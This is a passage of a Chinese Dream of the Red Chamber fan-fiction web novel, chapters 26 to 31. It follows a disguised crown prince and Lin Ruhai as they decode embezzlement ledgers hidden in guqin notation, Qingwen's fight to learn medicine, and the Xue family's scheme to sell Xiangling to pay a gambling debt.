林海刚要让席,禛钰连忙制止:“孤上承天恩,代父皇望慰御史,岂敢忝居上首。父皇视御史为诚雅君子,社稷纯臣,数年来总理江南盐课,鞠躬尽瘁,劳苦功高。而今身未大痊,还请平心安坐。” “谢殿下!”林海敛衽端坐,恭听太子教令。 “想必近来官场动向,林御史略有耳闻。那些贪渎之辈,虽被孤缉拿押解,然则文据显证不足,尚不能轻易定案。孤深知御史扎根江南数年,明察暗访,事已密成。还请御史大人交付历年盐税亏空的实账,以便三司开印前,补缀证据。”禛钰单刀直入,表明来意。 林海拈须迟疑了片刻,禛钰见状,将太子玉契推到了他面前,“莫非林大人还疑心孤的身份不成?” “非也!”林如海对太子的身份不疑有他,毕竟王君效是圣上派遣下来的,太子微服,随他到访实无意外。 “微臣早将实账用琴谱密写,除我之外,只有小女能通译。若要在三司开印前,将账本译出。我一人之力不足,太子可否宽限些时日呢?” 既是重要证据,自然不能一人私下整理,而需钦差在场监察。然而限期时短,若无女儿协佐,只怕无法完成任务。 若女儿出面辅助通译,则从即日起至正月二十日,都得在太子的监督下完成,难免惹人非议,于她清誉有碍。 禛钰颇感为难,只得将实情讲出:“陛下并未授我便宜行事之权,我抓捕贪官污吏的行为相当冒进,若不能及时将证据呈交,只怕事情有变……” 林海沉吟半晌,从博古架的螺钿屉盒中取出一本歌谣集,递交到禛钰手上:“这是小女幼年编撰的童谣和小诗,她后来用宫商角徵羽五音,将歌谣誊写成古琴谱,用以练习指法。我深受启发,便用此法暗中辑录账册数目。古琴谱自汉时起,记法便已失传,能解者世上不超过七人。故而五年来无人能堪破其中璇玑。” 禛钰捧起那本名为《水石清华》的歌谣集翻看了几页,文字稚拙可爱,笔画圆融光洁,极具个性,其诗用词虽简,还不谙格律,但字字句句灵气逼人,体现了小作者非同凡响的巧思和敏慧。 他不由默默诵读了一两句,嘴角逐渐上扬,孩提时聪明灵秀的林姑娘便跃然纸上。 “小女拙作让太子见笑了,”林海收回禛钰手里的歌谣集,郑重地对他说:“太子殿下,事不宜迟,我即刻笔耕不辍将账本誊出。还请殿下明鉴镜查。” 说罢,他就走到桌前铺纸研墨。 “且慢!”禛钰心中已有了更好的主意,握住林海的手说:“孤想与林大人攀亲。” 一句话只把林海吓得心脏漏了一拍,储君与臣僚攀亲,意味着什么不言而喻。 可他只有黛玉一个女儿,他怎么舍得将女儿嫁入深宫内帷! 禛钰见林海诚惶诚恐的样子,意识到他误会了什么,也不免双颊发热,他抿嘴一笑,而后道:“我听闻林老夫人姓王,也是京城人士。孤可以是您的表侄。” 林海心念电转,终于明白了他的意思,来不及松心,忙道:“正是了!正月初三是家母八十冥诞,我携幼女、表侄于祠堂抄经祈福。” 如此一来,小王公子与黛玉就是从表兄妹了,二人沾亲带故,为亡亲秉笔抄经,又有他这个父亲在场看顾,也无人说闲话了。 幸好,太子攀的是这个亲! 林如海当下让管家请来黛玉,对她说:“玉儿,为父疗毒期间,生死难料,有一桩大事不曾对你明言。如今身体小安,又逢正旦吉日,正好安排你与叔外曾祖、从表兄认亲。” 黛玉见到王君效与王公子二人在堂,一时诧异又茫然,见父亲冲自己点了点头,只得屈膝行礼,“玉儿见过外太公。” 王君效将她托起,爽朗一笑:“玉儿不必多礼。” 禛钰也上前见礼道:“禛钰见过表妹。” “表哥。”黛玉低声细语地喊了一句,心中仍是狐疑。 “妹妹尊名是哪两个字?”禛钰好奇地问,他知道她乳名黛玉,还不知其闺名,章明查了数次未果,眼下正是问询的好时候。 黛玉眉头微蹙,抬眸看了父亲一眼,见父亲拈须颔首,只得说:“我名绛珠。” “好名字!”禛钰赞道,心里默念了一句:绛珠妹子,从今往后,孤就是你的亲 27.春绾晴黛第二十七回 《[红楼]春绾晴黛》全本免费阅读 疗重疾攘臂露绝技,撕脉案跪誓学岐黄 王君效进来给林海推拿手腕,对禛钰说:“你表叔这样写下去,只怕七八天后,右手就得半废了。我瞧玉儿的情形,也差不离,多半会伤筋痛了。” 此时黛玉幽幽醒来,见灯下站着几个男人,初时瞪大了眼睛,等她想起前情,才镇定了下来。又见身上披了王表兄的斗篷,更是如芒在背,一脸赧然。正要脱下,又被禛钰制止:“穿着!别着凉了。” 林如海意味深长地看了他们一眼,味同嚼蜡地吃完饭,等不及给太子劝饭劝菜,先开口问:“好侄儿,到底有何妙法事半功倍?” 禛钰也不卖关子,移开碗筷,剑指敲桌道:“胶泥印法。” “以版印代替誊抄?”林如海沉吟思索,“这可行么?” “可行!”禛钰取过一张新纸铺在面前,边写边说:“四柱清册,分旧管、新收、开除、实在四项,重复用字最多的,就是十个数字以及计数单位。剩下的文字就是承前收入来源、新收附入明细、破用及流向、结存余数。我们可以先将常见的收支项目名称、贪污官吏的姓名先从胶泥中选出,随时拼版。而后按实账内容排列,若暂时找不到的对应字的,也可以随时雕刻制用。” 黛玉眼眸一亮,不由道:“这的确是省时省力的好法子,只是我们都不熟印刷之术,未必就能快起来。” 禛钰莞尔一笑:“孤……姑且让我一试,我少小寄居道观,没少刊印劝善醒世的经文。实不相瞒,去年冬月宁国府敬公所注的《阴骘文》也是我拼的文版。” 说来,宁国府贾敬应是黛玉的堂舅,只因他一味好道终年不着家,黛玉至今也没见过他,此时经人提及犹觉陌生。 原本预计需要衣不解带,渴饮饥餐,昼夜不休的工作,有了更迅捷的方法,大家紧张的情绪当下缓解了不少。当夜章明整理出主要的胶泥字版后,大家都回去歇息了。 翌日清晨,林家父女轮流口述账目内容,禛钰则左右开弓,快速从木格中拣出对应的字来,拼好一版。再由章明在版上刷墨,覆上新纸,一压即成。如此,印制一张纸比誊抄一张纸速度要快了百倍。 林如海不由纳罕,传说太子有过目不忘之能,且能左右开弓,而今看来果真如此。要在几千个木格中快速找到字模,一则全神贯注专心一志,二则精通声韵耳聪明目,三则记忆超群智巧机变,三则眼疾手快武功高强。有此四能者,万事易成。 有此等聪睿英武的储君,实乃国之大幸哉。若能经此一事,与太子交好,林家何愁家族衰伤之弊。 只是储君与天子大多至亲至疏,一如仇雠。自古以来能顺利继承大统的太子还不到半成,即便没有实力雄厚的夺嫡者,储君太过优秀,也会遭帝王忌惮,更何况还有一个恋栈不舍的上皇暗谋复辟。太子的敌人是两代帝王,一个乱世枭雄,一个雷霆霸主…… “表叔,该你说了。”禛钰等了半晌不见林海出声,才发现他愣神了。 黛玉以为父亲累了,忙翻琴谱,接口道:“我来。”一边念着,一边用余光瞥向这位新鲜的王表哥。 他做起事凝神静气,仿佛进入了只有自己的时空领域,外面的杂音杂色都不能干扰他分毫。本来父亲只是请他来障人耳目,如今倒是他一力承担了重任。黛玉又想起自己从前对他的疑心与戒防,又不免自愧狭隘,更加内疚了。 如此一连忙碌了七八日,账目才完成了大半,然而林海已经彻底倒了嗓子,又因连日阴雨,肺病复发了。 王君效在床头给林海施诊,一时肃然攘臂,从药箱中取了一盒金针出来。 回头见黛玉仍守在父亲床头,便对她说:“把你父亲交给我便好,玉儿还是去抄经吧。” 黛玉点头离去,然而晴雯却不肯走。先前王君效给林老爷拔毒之时,她无缘得见,此刻终于能看到神医施针了,如何肯放过这个机会。 “姑娘,我留在这里看着老爷,你不必担心。”晴雯送黛玉出门,又返回林老爷的卧室,目不转睛地看王君效施针。 只见他每下一针,使用的手法都有所不同,时而捻转提插,时而揉捏催气,时而刮擦摇动,时而碾搓弹针。晴雯看得眼花缭乱,目不暇接,比起当初学界线、双面三异绣还要复杂。 , 半个时常后,王君效收针,头也不回地对身后偷师的丫鬟说:“小丫头,你在老头儿这里挨风缉缝做什么?以为看一眼就能上手呐。” 晴雯见王正堂与她一个小丫头开口说话了,激动万分,连忙搭话道:“王正堂,我叫晴雯,是贾府的丫鬟。我听小王太医说,学针灸要先通医理,需三年功成。之后要识七百穴,还须百日,最后还要上手练,又得三年。就算要学个六七年,我也想学。不知王正堂招徒需束脩几何?” 王君效闻言眸色骤冷,放下帐子走出门去。 “正堂大人,真的不能教我学针灸吗?”晴雯急忙追上去,连鞋都跑掉了一只。 她素来嘴直心快,跟在王君效身后,想到什么就说什么:“我有甄太妃赐的百金,可以做束脩!” “哼,一个赤脚小婢也敢瞻望王家绝学!凭你这狐媚娇样儿,顶了天也是贱妾之流,妄谈学医,只怕你秉心不正,抠哧后宅阴私,没得玷辱了老夫的青囊之术。”王君效回转身体,大骂了一通,果断拂袖而去。 晴雯当即红了眼圈,咬着唇,恨得跺脚。没想到她被王正堂无情侮骂至此。这种深重的屈辱感和无力感,如同上辈子蓬头垢面的病恹样,被人从炕上生拉硬拽下来,当成瘟神给撂了出去一样。 她不甘心,重生一回还要被人误解侮蔑;她不甘心,再来一世还要被人骂作心术不正的狐狸精。凭什么,她要被人这样的毁谤和诋訾;凭什么,她要接受这样的命运断言! 晴雯越想越悲愤,一面放声大哭,一面往前面追撵王君效,她可以被拒绝,可以被咒骂,但是不能被冤枉。这种有口难言的屈辱感,她是再也不想忍了。 而王君效的气愤也不无道理,林府家风整肃,林海尽忠职守,清正廉明,后宅中却潜伏着三个毒蝎心肠的女人,两个用药害人。而这个标致的丫头还不是林家的人,这让他不得不防。 有此前情,王君效对貌美心高的女婢难免有先入之见,而况王家针灸之术,本就不可轻传,晴雯眼神中的渴求太过直白强烈,就让他更为反感厌憎了。< 28.春绾晴黛第二十八回 《[红楼]春绾晴黛》全本免费阅读 老头儿忝颜试诚志,小丫鬟忍耻褪罗衣 晴雯听到那老头儿终于答应了,立马不撕了,跪在地下,将那些一堆碎纸用裙摆兜起。 “哼,你若能一天之内把它一字不差地拼好了,老夫倒是可以教你几手,你若不能,等着挨打坐监罢。”王君效一边撸袖子,一边抓了几把碎纸扔到她身上,暗中又藏了一些在袖中。 只要她拼不全,有疏漏,他就有理由不教了。想威胁正堂医官,也不掂量掂量自己的身份和能耐。 王君效撒了一通气,双手笼袖,气哼哼地走了。好在他的这卷脉案,被太子翻看过,以他过目不忘的本事,再默一遍出来应该问题不大。只是难免要向太子赔身.下气求一求,再贡献几颗玉露丸罢了。 晴雯将所有碎纸全兜了起来,赶忙拿回住处,一个个认真拼了起来。她有一双极为敏锐的眼睛,织布衣裳都能做到天衣无缝,何况是大字呢。 脉案簿册约有八十来页,记录的是去年冬季三个月,王君效在宫中为一些达官贵胄看诊的情况。 有记录病人的肤色、舌相、性情,症候表现,左右脉象,以及当时的气温雨水状况,乃至疮口患处都有图画描绘,像病患的饭量、口味、矢气、便溲、痰涎、月事等细处都详细载明,最后才是开具的药方。 “当大夫的,可比当丫鬟还要心细。”晴雯感慨了一句,继续埋头整理手中的碎片。 直到黄昏渐至,拼好了一半,手里的纸和字都看不清了,晴雯才发现脉案少了一些碎片。 她急忙提了灯笼,跑回原处找寻,可是遍地干净,片纸不存。 “这可怎么办呀?”晴雯急得团团转,此时黛玉还在抄经,是万不能打搅的。 晴雯只得先回了住处,将拼好的脉案,先在灯下用蝇头小楷誊抄出来,有缺损的部分及字辨识不清的,只得暂时留白。如此又熬夜到天明五更,才堪堪将拼好的脉案给誊写明白,又拿针线装订成册。 趁着黛玉晨起梳妆到朝食这段时间,晴雯拿着脉案去找她求助。 “姑娘,我逼着王正堂教我学医,把他的脉案给撕了,他让我把这簿脉案给拼好才肯教我,可是缺了一些字,我不知道该如何是好,求姑娘给我出个主意。” 黛玉不免意外,见她一脸急切的样子,忙问:“好端端的,你为何要学医?”自古以来,学医的女子就极少,便是学成了,她一个奴婢也无资格行医治病。 晴雯扑通一跪,仰望着黛玉说:“我见姑娘久被病魔缠身,身心皆苦,时常不得展颜,我想学医,替姑娘祛病疗疾,不再苦痛,想让你长夜安寝,饮食如常,想让你笑口常开,延年益寿。” 一番话说得真挚诚恳,深情如许,让黛玉不禁红了眼眶。她这病打娘胎里来,终生相伴,多少名医修士配药诊治,都不中用。她自己都不指望好了,能维持下去就不错了。哪知还有个丫头发了痴心,笃心诚志要学医给她治病。 黛玉又是感动,又是难过,又不忍打击她向学的心,只得托着脉案说:“你若是想学诗文,我倒是能教你,你若想学医,我书房里倒是有几部医书药书,你去看看,或许能有所启发。有不认得的字,查一查许慎的《说文解字》便知道了。” 她知道越是身怀绝技的人,越是不肯轻易示人,更何况是带徒弟。王君效是何等人物,无缘无故断不会教一个丫鬟学医。 未免晴雯失望受挫,黛玉又安慰她道:“其实不遇良师,也未必不能学医,以医经药典为师也未尝不可。” “是了,有书参详也是极好的!”晴雯道了谢,忙抱着脉案去了黛玉的书房。 如此晴雯在书房中又翻了一天的医书,倒是找到了一些相似的病患案例及药方,但是她没有轻易落笔添补,而是另写了几个折单,夹在了相关脉案里。 眼见这一天日头又要落下去,晴雯怀揣一颗忐忑的心,抱着脉案跪呈在王君效面前。 “你还真搓弄出来了……”王君效轻蔑地看了她一眼,拿起脉案随意翻了两页,发现里面有空白处的地方,必有夹页。抽出一张折单看了看,竟还写的像那么回事,大差不大。 王君效好奇地问:“这几处分明缺字了,你既然从医典上找到了相近的方子,何不直接添上去。反正老夫又不一定记得那么清楚。” 晴雯仰脸道:“我见正堂大人的脉案全部据实记录,辩证开方,随着病程情况会酌情添减,故而不敢枉自篡改,又不想证明自己一无是处,只得从医书上找了相近的另行备录。” 听了她的解释,王君效不由缓颊,当大夫最重要的就是实事求是,不能无中生有,主观臆断,更忌篡创脉案,生造病例。 但是王君效依旧不能轻许教学,冷着脸说:“昨日我说了,差一字,我都不会教你。” 晴雯哪肯放弃,心想只要王君效思及一个“情”字或念她的名字,再翻看下空缺处,他心有所应,自己就能知道所漏的文字,忙道:“正堂大人,是一字不差的。你喊我一声晴雯,我边翻边写,现下就给你补出来!” “哪有这样的事,胡编乱造的我可不要。”王君效哪肯信她,甩手就要走。 晴雯一把抓住他的衣袖,偏不让他走。 “小丫头你和我个老爷们拉拉扯扯,成什么体统!”王君效受不了她动手动脚的做派,生怕她发起狠来,能把他半边袖子给撕了。 “我不叫小丫头,我叫晴雯!”晴雯揪扯他的衣袖不放,大喊:“您喊我一声,我立时就能补出来。” 因这边闹得动静有点大,管家万隆提着扫帚探头过来,王君效见自己衣襟大敞,不由老脸一红,忙搅起袖子,将小丫头一掌撂倒:“你叫晴雯是吧,老夫记住你了。” 晴雯连忙趴在地上,翻开脉案空缺处,王君效好整以暇地扫了一眼,抱臂旁观:“我看你怎么编。” “这里是‘涩缓甚明’,这里是‘理骨分筋’,这里是‘法夏二钱’,这里是‘厚朴一钱半’。”晴雯咬破食指,以血为墨,像画符一样在空白处添补,边写边念:“此处是‘行滞温脾而止痛’,此处是‘戒香燥油腻’……” 脉案簿册一页页翻过,王君效看了不免咋舌,她所写的内容,好像都是从自己心里蹦出去的话一样,一字不差。 晴雯补完最后一字,才支起上身,长长地 29.春绾晴黛第二十九回 《[红楼]春绾晴黛》全本免费阅读 清亏空太子定仇志,落骗局文龙困大狱 正月十二,林如海卧床修养了几日后,虽口不能言,依旧比划着强烈要求回到祠堂抄经,他不能让女儿与太子继续共处一室,就算多了一个滚墨压印的侍卫也不行。 王君效无法,只得放他去了。 林如海一走,王君效身后就多了一条小尾巴。 “师父,请喝茶,您再跟我讲讲什么是五运六气。”晴雯高捧茶盏,满心期待地望向他。 王君效挠了挠头,接过茶灌了一口,一脸无奈地说:“所谓五运六气,就要用到易学之道。甲己配为土……” 晴雯聚精会神地听着,掏出一个掌中小册,用林姑娘送的鹅毛笔,刷刷记着笔记。 林如海走进祠堂内院,里头静无人语,透过窗户只看到女儿黛玉唇口翕动,却寂然无声。 而太子殿下,一双星眸目不转睛地盯着黛玉的脸,两只手还能灵活无滞地排列胶泥字模,那手速几乎快出残影,只有金刚石尾戒的光在盘中回旋游走,仿佛太极高手在运气行拳。 二人都极为专注,但在老父亲眼中,这场景未免有些暧昧。 “咳咳。”林如海干咳两声,放重了脚步走了进去。 “爹!”黛玉见到父亲安好,甜甜一笑。 “表叔安好!”禛钰当即停下手里的活计,对林如海一揖,“今天下晌就可以全部译完。”如此哪怕不用八百里加急,也可以在三司开印前将证据呈报上去了。 林如海要护嗓子,还不能说话,只是点头颔首,以表感谢,又疑惑地看向黛玉。 黛玉心领神会,解释道:“表兄他怕我也伤了嗓子,让我只用气音念读。他能读唇语,我核对过了,真的一字不差。” 这能力只能用天赋异禀来形容了,林如海再次点头。他不能用丝毫质疑的眼光去审视太子,只能观察女儿的面色。 但见她神态如常,并没有丝毫的羞涩或腼腆,双眼尽是坦然,只是看向“王表兄”,提到“王表兄”的时候,目光中多了几分由衷的钦佩与赞服,这也情有可原。皇太子的的确确是旷世逸才,出类拔萃。 禛钰默默注意着林如海一个人的眉眼官司,不由抿嘴偷笑。想来林御史怕女儿系恋储君求而无果,更怕他心怀不轨,蠢蠢欲动。 可他偏要动一动呢。 禛钰趁势再呈长才,对林如海说:“这几日来,我通过表叔及表妹的通译,已经基本掌握了古琴谱所对应的文字。余下的事,我可一力完成。辛苦表叔、表妹了,你们不妨先回去歇息,若有拿不准的,我自当请教表叔就是了。” 此话一出,果不其然黛玉看向他的目光中又多了几分景慕之色。林如海叹了一口气,忙将女儿拉了出去。 黛玉匆匆辞过“表兄”,跟着父亲走了。 禛钰的目光一路目送她的身影离开,景慕、赞佩、久处不厌,还远远不够,他想要的更多,更深。 迄今为止,还没有人能从他的报复计划中全身而退。 贾敏身为御史之妻,能够与丈夫同仇敌忾,倾家竭产恤民济难,有她胆识过人,深明大义的一面。 身为储君,禛钰秉公无私,为贾敏请封护国夫人,赐旌表牌坊。但他永远也不会原谅,这个女人对他父皇的背叛,以及对他母后的愚弄。 功是功,过是过,从来不相抵。 林表妹,抱歉了,将来不折磨你十年,我枉为人子。 “章明,你数一数这本账是不是五千三百七十八页。”禛钰对照琴谱排完最后一张账目表,直接问章明:“一共缺了多少页?” 章明盘点了一刻钟,回禀道:“只有五千三百七十三页,缺了五页。” 禛钰从诸多琴谱中,状似随意地挑了五本,一字摆在书案上,又分别翻了几页,摊开放着,双手负后,慢慢踱步,一一念道:“壬午年七月,江宁织造甄家虚领五万两,用以抚养鹓鸾公主。丁酉年五月,宁国府贾珍原等袭父爵,挪用三万两银子,贾赦卖官挪用两万两银子放贷买古董。戊戌年六月,史鼎封忠靖侯,借贷三万两银子打点。乙亥年四月,孝敬上皇两百万两。庚子年冬月,林如海送荣国府炭敬六千六百六十六两六钱六厘。”这些账目是林如海在报账的时候特意隐瞒剔除的。 给上皇的孝敬,是绝对不能算的。其他的几笔钱属于亲亲相隐,比起总数一千六百万两白银的亏空而言,这点小钱实在算不上什么。 禛钰自然知道水至清则无鱼的道理,林如海当了六年巡盐御史,拢共才敲了这么点钱下去,已经算清官中的清官了。 只是他看向那六个六的一笔炭敬,蹙着眉,无声笑了。 “主子,你说这炭敬为何不凑个整?”章明不免疑惑,总账中可没有低于万以下的项目。 禛钰拿起那册琴谱,摩挲着上面的鲜为人知的符号,幽幽道:“六六为坤卦,至柔至顺,炭敬是祈求岳母史太君雪中送炭之意。” “这六六之数,只怕是林表妹全部的嫁妆银子了。”他啪地一声合上琴谱。 这么点儿银子,够那些蝗虫几天嚼用的?怪不得她在那府里住着,要受人欺负了。 账目的事已然完毕,禛钰又敲一敲桌子,问章明:“给薛家设局的事,办得怎么样了?” “不出两天,咱们的人就该收网了。”一想起薛老大那人,章明面露鄙夷之色,“那薛文龙一无是处,莽直愚鲁,欺软怕硬。狗马声色,雌雄不忌,俗、恶、蠢、呆、丑,五样俱全,一钓就上钩,都不用人劝。” 禛钰说:“正好让他元宵节去大监里蹲去。” 此时的薛蟠正在京中倡寮,与新交的几个好哥们儿吃酒赌钱,他豪情万丈,精神亢奋,浑然不觉自己将有牢狱之灾。 大家围着薛蟠对点划拳,吆五喝六,只把他灌得半醉,酒屁臭气乱放。 众人嫌弃得不行,捂口捏鼻嚷嚷着要散场的话。薛蟠正在兴头上哪里肯休,胡乱承诺着要请客做东,放头开局。 大家这才各丢银子下场,绰起骰子来掷。薛蟠输了二百两现银,刚想放赖下桌,又被兄弟压肩架肘地摁在椅子上。 “文龙兄,时候还早呢!皇商薛爷素来豪阔,惯喜送钱与兄弟们的。今儿难道输掉了尾巴,就躲羞去了?” 薛蟠受了激将,忙将裤腰带一松,翻出几张银票来,拍在桌上喊:“谁说我输不起!” 大家又起哄架秧子,滥漫使钱,牌桌上滚的一簇簇黄白之物,都堆冒了尖儿。 薛蟠看了眼直,奈何手气太差,又是吹气又是捻唾沫,愣是掷不出个好点子来。三圈转下来,又倒输了一千两银子。他正想负气退场,又有头家慷慨借钱,哄他再玩两把。 “今儿手气太臭,不玩了,不玩了……”薛蟠还有一丝理智尚存,腹中已打起了退堂鼓。 “文龙兄,否极泰来,再来一把大的,时来运转就在今宵。” “你若玩不起,以后咱哥几个可就再不奉陪了。” 30.春绾晴黛第三十回 《[红楼]春绾晴黛》全本免费阅读 还赌债霸王卖养妾,顾脸面宝钗假报丧 宝钗抽噎着支起身子,问张德辉,“你有什么主意?” 张德辉叹了一口气,道:“大姑娘是知道的,咱们家一路落魄到此,皆系大少爷为香菱,打死了冯渊惹了官司起的。 正如王太太说的,香菱只怕就是个祸根,千劫万劫的罪消不掉,会带累我们家一败涂地呀。 周瑞家的还说香菱有蓉大奶奶的品格,可蓉大奶奶也是个薄命人,那么年轻就去了。 那头家既是个好颜色的,姑娘不如把香菱送去抵债,顺势把她这苦瓜瓠子给脱了手。省得我们家再生事端。” 听了这一席话,宝钗皱眉沉思,不由也想起当日林黛玉的话来。莫非冥冥之中,真是如此?张德辉的主意,的确不错。把香菱送出去抵债,既能换回哥哥的自由,薛家又几乎无损,她何乐而不为。说来都是香菱命苦罢了。 宝钗心中已有意动,又犹豫道:“只是眼下香菱还在老太太院中抄经消罪,又该用什么法子将她叫回来呢?” 张德辉灵机一动,拍手道:“姑娘忘了,二十一是姑娘的生日,喊香菱回来吃酒庆寿,总是不妨碍的。” “这恐怕不好。”宝钗思忖半晌,为难地说:“而今东府里还未除孝,西府这个年也冷清,我哥哥身陷囹圄,为我一个不大不小的生日,这会子去打旋磨子,未免让人觉得轻狂失礼。” “唉哟我的大小姐,您就是太在意那些虚礼了,贾府上下谁人不夸您的好。” 张德辉生怕宝钗瞻前顾后耽误事,又劝道:“一桩小事,顶多被人刺两句,也算个屁。总归是大爷的安危要紧。姑娘在这当口做生日,也正表明咱们家自个儿也能摆平事,不是任谁拿捏得了的。” 听他言之有理,宝钗默然点头,而后说:“就这么办罢。之后张总管去药铺里取些安神助眠的药来。你告诉中人,咱们送个美人过去抵债,除了换回欠契,还有个条件,不得透露是我们卖了人。只说是她上街玩又被人拐卖了一回罢了,让那些人告诫香菱,从此将薛家的事忘得一干二净,再不要想起一分一毫来。” 张德辉答应着去了。 心中的石头总算安然落定,宝钗走进母亲卧室里,讲了要把香菱抵债的事。 薛姨妈听了半晌,又是庆幸又是怨愤,抹着眼泪说:“早知今日何必当初,当初就万不该接这个祸水,弄得家门不幸。” “若不是哥哥……”宝钗心中不忿,想将一腔委屈倾诉出来,思来想去,又住了口。 说到底,这一切都是她那个混账哥哥的错,可是埋怨话说出来,徒增自己烦恼,妈心里又该不痛快了。哥哥有今日之过,还不是妈重男轻女,一味溺爱纵容的错。 而况若非她这个哥哥好赖活着,只怕薛家其他房的人,早就一拥而上夺产撵人了,真若那样,她们孤女寡母两个更是不消活了。 她对哥哥的唯一要求,就是能平安活到她出嫁罢了。 宝钗回房梳洗了一番,换了一身衣裳,出了梨香院,到贾母院中去了。 眼下宝玉被贾政拘在外书房绮霰斋温习课业,这会子是见不到了。故而宝钗也没往绛芸轩去,先到贾母处说明来意,得到老太太同意后,宝钗没有闲心陪坐说话,即刻到西厢找香菱回去。 虽说年底学堂放假,林黛玉先前请了三姑娘、四姑娘来陪香菱抄经,到底二人年纪小,耐不住寂寞,抄了个三五日,就各找理由回去了。 香菱这个痴人,倒是一门心思地抄起来。宝钗走进内室,只见满桌、满地都铺的是待晾干的纸,几乎都没有下脚的地方。 桌上晾的是《维摩诘经》,地上晾的是香菱自己的诗作。宝钗拿起一张默默品读了起来,遣词用典虽不佳,诗中意趣却还不错。想是当日请教了林妹妹的缘故。 宝钗心里只叹可惜,看向香菱秀美灵动的面庞,玲珑有致的身段,又隐约生嫉。想起那歹人,对自己颜如太真的评价,她更羞恼了。到底还是自己太壮了些,远不及黛玉、香菱纤细袅娜,得人喜爱。 带着这口不平之气,宝钗对香菱说的话就难免生硬了起来。 “好呀,老太太、太太叫你老实抄经,你却阳奉阴违,涂写这些不正的诗。”宝钗将手里的纸,啪的一声,拍到她面前。 香菱正咬着笔头推敲文字,猛地被人打搅,慌得浑身一颤,抬头见是横眉冷目的宝钗,连忙跪下:“好姑娘,我错了,我再也不写了,求你别告诉人去。” 宝钗见她满目惊惶,忍羞含愧地央求不休,一时又心软了。想着过了今日,就再也见不到她了,将来有的是新主子夹磨调理她,还为这点小事难为她做什么。 于是也不追根究底了,笑着说:“明儿我生日,特请菱姑娘拨冗回去吃席拜寿。” 香菱见宝钗转了笑颜,悄悄松了口气,而后从妆奁中取出一个针脚细密的荷包,递给宝钗道:“我记着呢,这是我送姑娘的芳辰贺礼,聊表寸心,还请姑娘莫要嫌弃。” 那荷包上绣的是莲花菱角,寓意年华富贵,聪明伶俐。宝钗大方收了,拉着香菱就要回梨香院。 这时候跟着香菱的小丫头臻儿,忙走上来说:“姑娘忘了带我走了!” 宝钗还真把她忘了,为了避免节外生枝,只好说:“我也只是暂借她一日,明儿还回来的,你就不用去了。你瞧香菱那一地的纸,还要你收拾呢。” 臻儿见讨不到寿酒吃,有些闷闷不乐,但她也只是个三两银子买来的小丫鬟,哪有邀宠讨赏的能耐,只得进屋收拾纸笔去了。 回到梨香院,香菱又到薛姨妈处问候了几句,从前薛姨妈见香菱行事为人颇有些可疼之处,如今看她却鼻子不是鼻子,眼睛不是眼睛,只说头晕,也不与她说笑了。 香菱四下观望,怯声问宝钗:“姑娘,大爷明儿就能回来吃酒么?”她从宝玉嘴里听过了薛蟠赌钱被抓牢里去的新闻,以为宝钗办寿酒也是给薛蟠接风洗尘用的。 “他不回来,咱们娘们儿吃酒说笑罢了。”宝钗不想继续这个话题,打发香菱沐浴更衣去。 梨香院没有单独的小厨房,既然要整饬一桌生日席面,自然要委托贾府厨房。做戏做全,宝钗少不得又丢下二十两银子出去打点一番。 让一个大活人从梨香院凭空消失不见,是 31.春绾晴黛第三十一回 《[红楼]春绾晴黛》全本免费阅读 戏黛玉求亲归地府,伤太子绰弓赴黄泉 贾敏生前捐资纾难的事,被太子上报给了皇上,正月十七日,圣旨下达林家。林家冢妇贾敏被赐封“护国夫人”,在扬州立旌表牌坊,赏黄金万两,珍珠十斛,夜明珠一对,林家父女携众仆叩谢皇恩,黛玉想起早逝的母亲,又不禁伤感痛哭一回。 经过前后一个月的治疗,林海的病已经大好了,过了正月再去衙署签书公事已无妨碍,只是还须继续服两个月的药,方能去根。 “外太公不亏是天下第一国手,幸得您妙手回春,父亲才大安了。玉儿感激不尽,将来定当尽心图报。”黛玉在王君效面前拜了又拜,感激之情溢于言表。 王君效好生受了她三拜,倒不是他恃才拿大,而是真心将黛玉视为了自己的晚辈。 这段时间以来,他冷眼掂掇着黛玉、晴雯二人,越看越觉得主仆俩不但品貌俱佳,德才兼备,更是心志贞坚之人。 晴雯为了求他救下林家父女,可以冒险献绣毯,孤勇舍闺誉。黛玉为了父亲安危,敢于只身与凶嫌竞智斗勇。她们身上所展现的德行,既让他感佩也深受鼓舞,颇有壮心不已之情。 他既认了晴雯一声“师父”,这声“外太公”他也认下了。虽则一时半会儿,还扭不过太子挟私报复的心。他在心里承诺,但凡他在世一天,就必保黛玉无恙一天。 整理出来的盐课账目,已通过太子之手,悉数交到了陛下手中。林海还不知上皇与陛下要如何处置他,他不得不催促女儿早日回到京城,不要在扬州盘亘下去。 “正月十八,正是出行的好日子,你太公也要回宫复命,你们不如一道同行。” 黛玉小嘴微撅,拉着父亲的手不情愿地说:“我好不容易回家一趟,父亲病未好痊,就想撵我走,还要我在路上过生日。好歹让我过了阳春三月再走嘛。” 林海也舍不得女儿离开,可是眼下最要紧的事,是安全无虞地上缴库藏银两。即便留存了亏空账,没有补缴款,他也要背一个办事不力兼失察之罪。 只有让黛玉跟太子、王君效一路走,才是最安全的。谁也不敢把主意打到身负皇命的王君效身上。 “玉儿乖,你都是大姑娘了,还跟为父撒娇,别让人看见笑话。”林海意有所指地看了禛钰一眼。 黛玉脸上一红,松开父亲的手,抿唇不语。 王君效道:“玉儿不必担心,我标好了服药次序,只要按时按量服用,保管药到病除。” 林海连忙附和,要女儿宽心。 “好妹妹,你回家多时,老太太必定挂念你得紧,还是早点回去吧。”贾琏也出声相劝,原本他受命来扬州,还以为是给林姑父奔丧来了,心中都筹划起要怎么运走林家资产了。结果林姑父身体竟大安了。 他被困在府中,不得出去浪,早就快憋死了,恨不能快点回到京城的花花世界,哪里还想久待。 见众人皆劝,黛玉只得同意了正月十八就出发返京。 十七日,林海单独请禛钰到他的书房议事,将盈余银钱的库藏地址告诉了他。 “殿下这几日想必也勘探清楚了,林府作为众矢之的,是没有库藏的。为留存保管历年盈余的银钱,我都是趁着每年夏秋两季巡检的时候,将钱分批运到了淮阴地界。” 禛钰沉思道:“莫非响马到淮阴,就是有所察觉。” “他们盘亘在淮阴有段日子了,不过一无所获。”林海点头,从一个汝窑瓶中,启动机扩,排出水去,又拼合密文,才将一把造型奇特的钥匙掏了出来。 他把钥匙交到禛钰手中,对他说:“这只是库藏的一半钥匙,另一半在淮阴县令严必显手里,银钱却在一个封氏妇人的田庄里窖藏。只有两半钥匙合并了,才能打开库藏的大门。我已经修书一封,告知严必显协佐殿下,运送库藏。” 听到严必显的名字,禛钰不由感叹,真是无巧不成书,想来他们之前借居的封氏田庄,八成就是库藏之地了。 